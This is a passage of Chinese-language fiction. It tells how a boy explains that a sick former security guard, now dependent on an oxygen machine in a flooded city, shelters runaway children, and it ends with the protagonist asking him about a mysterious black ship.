但她还是续着小姑娘的话:“真的,我找到发电机了,就想着直接给你送来,正好看到你有一个弟弟从外面游进这个楼。你去卧室看,制氧机已经用上了。” 二哥一脸警惕地倒退着去卧室察看,和卧室里的两个男孩确认,几句话后,换了个脸色出来。 “谢、谢谢你们了。”他脸上泛红,对自己刚才的态度略抱歉意。 然后他像想起了什么事,把刚才自己手上拿着的一个袋子递过来:“这是给你的,湿巾和、那个东西。” 桑浔坦然接过,顺势问道:“能和我说说吗?你们几个小孩是怎么回事?父母都去哪儿了?怎么唯一的成年人是一个病人?” 小姑娘正好凑进男孩怀里,贴上他的脸:“二哥抱~” 男孩两手向上一使劲,女孩被他卡进臂弯,顺势坐在他的腿上。他坐上沙发,伸手捋了捋女孩的头发,开始了讲述。 床上的病人叫齐叔,是这些孩子们的“爸爸”。 齐叔有自己的孩子,是他们的“大哥”。大哥常年在外面工作挣钱,挣到的钱都转帐给齐叔照顾这几个非亲生的孩子。齐叔本来身体就不好,大哥也想着干脆回到家乡,在这里找份简单的工作,能同时照顾齐叔和孩子们。 但齐叔偏不让,好几次都生气把大哥赶走,赶回他的大城市。 “是真的生气,眼睛里都能喷出火的那种。”二哥说的时候还心有余悸,“我懂,大哥是有本事的人,不能被我们这些累赘绑在这种小地方。” 但齐叔不能阻止大哥每个月都转钱回来,而且,他也确实需要这些钱来照顾孩子们。但钱毕竟是有限的,给孩子用,就不能给自己用。 齐叔年轻时的工作有粉尘污染,染上了难治的肺病,虽然得到了些赔偿,但终究不够长久。他不舍得去医院,一直用着大哥某次回来给他买的制氧机,说自己每天吸吸氧就好。 刚开始,他每天吸一个小时。后来变成两个小时。直到上个月,已经变成只要不在干活,就得躺下吸氧。 让事情更糟糕的,是两天前的暴雨。他们被迫转移,有人扶着齐叔,有人抬着制氧机,剩下的孩子带着他们的贵重东西,终于在高层找到一户能打开锁的家暂住进来。 “那你们呢?你们为什么和齐叔一起生活?”小雁忍不住问。 二哥迟疑很久,最终还是开口,但只讲了自己的原因。他是被父母每天联手打,打到有一天终于还了手,却只换来更残暴的一顿打。于是他逃出那个家,逃出了生活十多年的小镇,来到了这个传说中的空城,想着在这种地方至少能有个落脚点,藏起来总不会被狠心的父母抓回去。 但第一晚,他就被在这里做小区保安的齐叔发现了。 齐叔听完他的故事,没有把他交给警察,也没有说要找他父母。只是把保安值班室的床铺开,给他搬来一床被子,然后自己坐回保安亭的椅子上。 从那之后,他便没有再离开过齐叔。 至于其他孩子,“这是他们自己的事情,我不想讲。” 桑浔表示理解。 二哥——这是他现在用的名字——抬头看着桑浔:“你们帮了齐叔大忙,就是我们的救命恩人。我欠你的,绝对不是刚才那些湿巾能还得清。说吧,有什么我能报答你们的,只要能做到,我绝不推辞。” “有。而且你能做到。”桑浔看着他的眼睛,一字一句的说。 “你们今天遇到的那艘黑船,把你知道的全部都告诉我,不能有任何保留。”